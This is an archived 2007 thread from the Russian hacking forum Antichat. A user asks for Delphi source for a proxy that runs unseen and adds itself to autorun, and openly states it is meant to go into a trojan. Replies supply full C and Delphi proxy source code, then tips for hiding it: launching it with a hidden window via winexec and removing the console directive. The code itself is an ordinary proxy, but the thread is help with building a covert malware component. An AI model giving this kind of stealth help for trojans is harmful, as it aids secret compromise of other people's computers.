Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Дайте исходники простейшего прокси (Delphi) (https://forum.antichat.xyz/showthread.php?t=38405)

Sharky 20.04.2007 13:08

Дайте исходники простейшего прокси (Delphi)
 
Дайте исходники простейшего прокси который при запуске был незаметным для пользователя а так же прописывался в авторан

iv. 20.04.2007 13:14

пример каскадирующего проски, он же port mapper

как ты представляешь себе незаметность? порт всё равно открывается в любом случае..
Код:

#include <windows.h>


// НАСТРОЙКА  ПАРАМЕТРОВ
#define IN_PORT    1111
#define OUT_IP      "192.168.0.89"
#define OUT_PORT    80
#define MAX_DATA    100
#define MAXCONN 1000
#define IDE_MSG 110
#define WM_ASYNC_CLIENTEVENT  WM_USER+1
#define WM_ASYNC_PROXYEVENT WM_USER+10

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
void ConnectToProxy(SOCKET);


SOCKET hListenSockTCP  = INVALID_SOCKET;
SOCKADDR_IN    myaddrTCP,proxyaddrTCP;
char buf[MAX_DATA];
SOCKET sockets[MAXCONN];
HWND hwndMain;

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrevInst,LPSTR szCmdLine,int nCmdShow)
{
  WSADATA stWSADataTCPIP;
  if(WSAStartup(0x0101, &stWSADataTCPIP)) MessageBox(0,"WSAStartup error !","NET ERROR!!!",0);

  ZeroMemory(sockets,sizeof(sockets));

  WNDCLASS wc;
  memset(&wc,0,sizeof(WNDCLASS));
  wc.style = CS_HREDRAW|CS_VREDRAW |CS_DBLCLKS ;
  wc.lpfnWndProc = (WNDPROC)MainWndProc;
  wc.hInstance = hInst;
  wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
  wc.lpszClassName = "CProxy";
  wc.lpszMenuName = NULL;
  wc.hCursor = LoadCursor(NULL,IDC_ARROW);
  wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
  if (!RegisterClass(&wc)) return 0;

  hwndMain=CreateWindow("CProxy","ProxyExample", WS_MINIMIZEBOX|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_MAXIMIZEBOX|WS_CAPTION|WS_BORDER|WS_SYSMENU|WS_THICKFRAME, CW_USEDEFAULT,0,CW_USEDEFAULT,0, NULL, NULL, hInst, NULL);
  ShowWindow(hwndMain,SW_SHOW);
 

  hListenSockTCP = socket (AF_INET,SOCK_STREAM,0);
  myaddrTCP.sin_family = AF_INET;
  myaddrTCP.sin_addr.s_addr = htonl (INADDR_ANY);
  myaddrTCP.sin_port = htons (IN_PORT);
  if(bind(hListenSockTCP,(LPSOCKADDR)&myaddrTCP, sizeof(struct sockaddr))) { MessageBox(hwndMain,"This port in use!","BIND TCP ERROR!!!",0);}
  if (listen (hListenSockTCP, 5)) MessageBox(hwndMain,"listen error!","ERROR!!!",0);
  WSAAsyncSelect (hListenSockTCP,hwndMain,WM_ASYNC_CLIENTEVENT,FD_ACCEPT|FD_READ|FD_CLOSE);
 
 
  MSG  msg;
  while(GetMessage(&msg,NULL,0,0))
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }
  return msg.wParam;

  return 0;
}



LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
  WORD WSAEvent;
  int i;
  DWORD currentsock;

  switch (msg)
  {

  case WM_COMMAND:
    break;

  case WM_DESTROY:
    PostQuitMessage(0);  // 10xu4yourtime
    break;


  case WM_ASYNC_CLIENTEVENT: // Сообщения про события сокетов, подключенных к клиенту...
    currentsock = wParam;
    WSAEvent = WSAGETSELECTEVENT (lParam);
    switch (WSAEvent)
    {
      case FD_CLOSE :
          shutdown(sockets[currentsock],1);
          closesocket(currentsock);
          return 0;

      case FD_READ:
          // ПЕРЕНАПРАВЛЕНИЕ ДАННЫХ (redirect). Берем от клиента, посылаем на сервер.
          i=recv(currentsock, buf, MAX_DATA, 0);
                send(sockets[currentsock],  buf, i, 0); // и отправляем...
          return 0;

      case FD_ACCEPT:
          ConnectToProxy(accept(hListenSockTCP,NULL,NULL));
          return 0;
      }
      break;

  case WM_ASYNC_PROXYEVENT:
      // Найдем соответствующий дескриптор.
      for (i=0;i<MAXCONN;i++)
      if (sockets[i] == wParam) { currentsock=i; break; }
      WSAEvent = WSAGETSELECTEVENT (lParam);
      switch (WSAEvent)
          {
        // Произошло подключение к удаленному хосту
        case FD_CONNECT :
          i=WSAGETSELECTERROR(lParam);
          if (i!=0)
          {
            shutdown(currentsock,1);
            closesocket(sockets[currentsock]);
            sockets[currentsock]=INVALID_SOCKET;
          }
        return 0;
                 
                 
                // Сервер нас отрубает ...
                case FD_CLOSE :
                          shutdown(currentsock,1);
                          closesocket(sockets[currentsock]);    sockets[currentsock]=INVALID_SOCKET;
                          return 0;

                        // Перенаправление данных клиенту
          case FD_READ:
        i=recv(sockets[currentsock], buf, MAX_DATA, 0);
                    send(currentsock,buf, i, 0);
                    return 0;
            }
                break;
  }
  return DefWindowProc(hwnd,msg,wParam,lParam);
}







// Connect to PROXY Connect to PROXY Connect to PROXY Connect to PROXY Connect to PROXY Connect to PROXY

void ConnectToProxy(SOCKET nofsock)
{
  SOCKADDR_IN rmaddr;
  rmaddr.sin_family = AF_INET;
  rmaddr.sin_addr.s_addr = inet_addr(OUT_IP);
  rmaddr.sin_port = htons (OUT_PORT);

  sockets[nofsock] = socket (AF_INET,SOCK_STREAM,0); if(INVALID_SOCKET == sockets[nofsock]) MessageBox(0,"INVALID_SOCKET","ERROR!!!",0);

  WSAAsyncSelect (sockets[nofsock],hwndMain,WM_ASYNC_PROXYEVENT, FD_CONNECT|FD_READ|FD_CLOSE);
 
  connect (sockets[nofsock], (struct sockaddr *)&rmaddr,sizeof(rmaddr));
 
  return;  // Connect OK
}

(с)http://www.sources.ru/cpp/cpp_simple_proxy.shtml

Sharky 20.04.2007 13:26

в том смысле что внешне пользователь не увидел никаких окон

Sharky 20.04.2007 13:27

А есть что нить на дельфи или вб?

iv. 20.04.2007 13:32

Цитата:

в том смысле что внешне пользователь не увидел никаких окон
в этом примере их и нет.
Цитата:

А есть что нить на дельфи или вб?
не поленись поискать сам =\
в общем-то принцип один и тот же во всех языках.

Sharky 20.04.2007 13:40

я в кодинге неособо силён..могу тока малость покрректировать код и всё...так что можете выложить готовый вариант?
И ещё я заметил параметр #define OUT_IP "192.168.0.89" ...мне он вобще не нужен поскольку прокси нужно чтоб засунуть его в код трояна

iv. 20.04.2007 13:43

Цитата:

так что можете выложить готовый вариант?
я выложил не готовый?
Цитата:

И ещё я заметил параметр #define OUT_IP "192.168.0.89" ...мне он вобще не нужен
а ты вообще в курсе зачем используется эта директива? =) ну, убери её, добавь переменную..
Цитата:

поскольку прокси нужно чтоб засунуть его в код трояна
если "в кодинге не особо силен" писать трояна смысла нет.

Sharky 20.04.2007 13:46

а помоему смысл есть...я так учусь

iv. 20.04.2007 13:48

Цитата:

а помоему смысл есть...я так учусь
если писать трояна путем копипаста кода, то ты ничему не научишься.

Sharky 20.04.2007 13:50

я пытаюсь разобраться в коде по ходу дела...
ну так как насчёт исходника на вб или дельфи?

Sharky 20.04.2007 14:16

так код прокси самого я нашёл...но там сам лог отображается как бы в cmd...дайте кусок кода чтоб сделать приложение невидиимым в дельфи

iv. 20.04.2007 14:21

Цитата:

дайте кусок кода чтоб сделать приложение невидиимым в дельфи
тут скорее нужно удалить из твоего кода что-то, а не добавлять

Sharky 20.04.2007 14:29

Код:

program dproxy;

{$APPTYPE CONSOLE}

uses
  windows,
  WinSock,
  StrUtils,
  SysUtils,
  uutil in 'uutil.pas';

const
  pcount = 32;

var
  wsaData  : TWSADATA;
  mainsock : TSocket;
  client  : TSOCKADDR;
  csock    : TSocket;
  addr    : SOCKADDR_IN;
  Size    : integer;
  bol      : boolean;
  i        : integer;

  a_exit : array of boolean;
  a_sock : array of TClientEx;
  a_hndl : array of THandle;

function SocksHandlerTreadProc(pParam:pointer):DWORD; stdcall;
var
  s1  : TSocket;
  j    : integer;
  i    : integer;
  loop : integer;
  bol  : boolean;
  buf_1: AnsiString;
  buf  : AnsiString;
  buf_len : integer;
  p  : integer;
  p2 : integer;
  p3 : integer;
  z_s : string;
  recv_result : integer;
  DataType : TDataType;
  Host_str : string;
  Host_host : string;
  Host_port : string;
  zapros_str : string;
  url : string;
  remHost : u_long;
  RemPort : u_short;
  sa  : TSockaddrin;
  lpMsgBuf : array[0..255] of Char;

  name : TSockaddr;
begin
  j := integer(pParam);
  WHILE TRUE DO
  BEGIN
    while a_sock[j].Socket=0 do sleep(40);
    i := sizeof(name);
    getpeername(a_sock[j].Socket, name, i);
    a_sock[j].client := LongToIp(name.sin_addr.S_addr);
    z_s  := #13#10;
    loop  := 0;
    bol  := True;
    buf_1 := '';
    buf  := '';
    buf_len := 1024;
    DataType := dtGET;
    while loop=0 do
    begin
      inc(loop);
      while bol do
      begin
        setlength(buf_1,buf_len);
        recv_result := recv(a_sock[j].Socket,buf_1[1],buf_len,0);
        if recv_result>0 then setlength(buf_1,recv_result)
                        else break;
        buf := buf + buf_1;
        p := pos(z_s+z_s,buf);
        if p<>0 then
        begin
          bol := False;
          break;
        end;
      end;
      if bol then break;
      buf_1 := lowercase(copy(buf,1,4));
      if buf_1<>'get ' then
        if buf_1='post' then DataType := dtPOST
                        else if buf_1='head' then DataType := dtHEAD
                                            else break;
 
      p := pos(z_s,buf);
      zapros_str := copy(buf,1,p-1);
      delete(buf,1,p+1);
 
      p  := posex(#32,zapros_str);
      p3  := p;
      p2  := posex(#32,zapros_str,p+1);
      url := copy(zapros_str,p+1,p2-p-1);
      delete(zapros_str,p,p2-p+1);
      delete(url,1,7);
      p        := pos('/',url);
      host_str  := copy(url,1,p-1);
      delete(url,1,p-1);
      p        := pos(':',host_str);
      if p=0 then
      begin
        host_port := '80';
        host_host := host_str;
      end
            else
      begin
        host_host := copy(host_str,1,p-1);
        host_port := copy(host_str,p+1,length(host_str));
      end;
      insert(#32+url+#32,zapros_str,p3);
      buf := zapros_str + z_s + buf;
      remHost := HostToLong(host_host);
      RemPort := strtoint(host_port);
      writeln(a_sock[j].client + ' ' + zapros_str);
      s1  := socket(AF_INET, SOCK_STREAM,0);
      FillChar(sa,sizeof(sa),0);
      sa.sin_addr.S_addr := remHost;
      sa.sin_family := af_inet;
      sa.sin_port  := htons(80);
      if connect(s1,sa,sizeof(sa))<>SOCKET_ERROR then
      begin
        send(s1,buf[1],length(buf),0);
        bol := True;
        while bol do
        begin
          setlength(buf_1,buf_len);
          recv_result := recv(s1,buf_1[1],buf_len,0);
          if recv_result>0 then
          begin
            setlength(buf_1,recv_result);
            send(a_sock[j].Socket,buf_1[1],length(buf_1),0);
          end
                          else break;
        end;
      end;
      shutdown(s1, SD_BOTH);
      closesocket(s1);
    end;

    shutdown(a_sock[j].Socket, SD_BOTH);
    closesocket(a_sock[j].Socket);
    a_sock[j].Socket := 0;
  END;
  result := 0;
end;

begin
  WSAStartup(MAKEWORD(2,0), wsaData);
  mainsock            := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  addr.sin_family      := AF_INET;
  addr.sin_port        := htons(8080);
  addr.sin_addr.s_addr := INADDR_ANY;
  Size                := SizeOf(Client);
  if (Bind(mainsock,addr,SizeOf(addr))=0) and (Listen(mainsock,$FF)=0) then
  begin
    setlength(a_exit,pcount);
    setlength(a_sock,pcount);
    setlength(a_hndl,pcount);
    for i:=0 to pcount-1 do
    begin
      a_exit[i]        := False;
      a_sock[i].Socket := 0;
      fillchar(a_sock[i].Client,buf1len,0);
      CreateThread(nil,0,@SocksHandlerTreadProc,pointer(i),0,a_hndl[i]);
    end;
    while true do
    begin
      csock := accept(mainsock, @Client, @Size);
      bol  := True;
      for i:=0 to pcount-1 do
        if a_sock[i].Socket=0 then
        begin
          bol := False;
          a_sock[i].Socket := csock;
//          move(inet_ntoa(Client.sin_addr),a_sock[i].Client,buf1len);
          break;
        end;
      if bol then
      begin
        shutdown(csock, SD_BOTH);
        closesocket(csock);
      end;
    end;
  end;
  readln;
end.


iv. 20.04.2007 14:32

я в делфи в общем-то не силен, могу только порекомендовать удалить всякие writeln и прочие функции вывода в консоль. но видимо тогда будет висеть просто пустая консоль..

da_ff 20.04.2007 19:25

запускай процесс другой программой winexec(Pchar('proxy.exe'),sw_hide);

hidden 25.04.2007 10:32

Удали это {$APPTYPE CONSOLE}

А если избавишься от SysUtils, сэкономишь около 100 Кб ;)


Время: 19:22